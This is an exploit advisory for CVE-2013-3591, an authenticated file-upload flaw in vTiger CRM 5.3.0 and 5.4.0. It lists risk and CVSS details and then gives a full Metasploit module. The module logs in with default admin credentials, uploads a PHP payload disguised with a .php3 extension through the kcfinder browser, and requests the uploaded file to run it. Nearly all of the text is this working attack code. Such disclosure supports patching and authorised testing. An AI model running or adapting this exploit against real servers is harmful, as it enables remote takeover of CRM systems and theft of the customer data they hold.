vTiger CRM 5.3.0 / 5.4.0 Authenticated Remote Code Execution

2013.10.31
Credit: Brandon Perry
Risk: High
Local: No
Remote: Yes
CWE: CWE-434


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution', 'Description' => %q{ vTiger CRM allows an authenticated user to upload files to embed within documents. Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP script and execute aribtrary PHP code remotely. This module was tested against vTiger CRM v5.4.0 and v5.3.0. }, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-3591'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => "&\n=+%", }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 30 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']) ], self.class) end def check res = nil begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') }) rescue print_error("Unable to access the index.php file") return CheckCode::Unknown end if res and res.code != 200 print_error("Error accessing the index.php file") return CheckCode::Unknown end if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i print_status("vTiger CRM version: " + $1) case $1 when '5.4.0', '5.3.0' return CheckCode::Vulnerable else return CheckCode::Safe end end return CheckCode::Unknown end def exploit init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') }) sess = init.get_cookies post = { 'module' => 'Users', 'action' => 'Authenticate', 'return_module' => 'Users', 'return_action' => 'Login', 'user_name' => datastore['USERNAME'], 'user_password' => datastore['PASSWORD'] } login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'vars_post' => post, 'cookie' => sess }) fname = rand_text_alphanumeric(rand(10)+6) + '.php3' cookies = login.get_cookies php = %Q|<?php #{payload.encoded} ?>| data = Rex::MIME::Message.new data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\""); data.add_part('files', nil, nil, 'form-data; name="dir"') data_post = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post, 'cookie' => cookies }) if res and res.code == 200 print_status("Triggering payload...") send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5) end end end

References:

https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats


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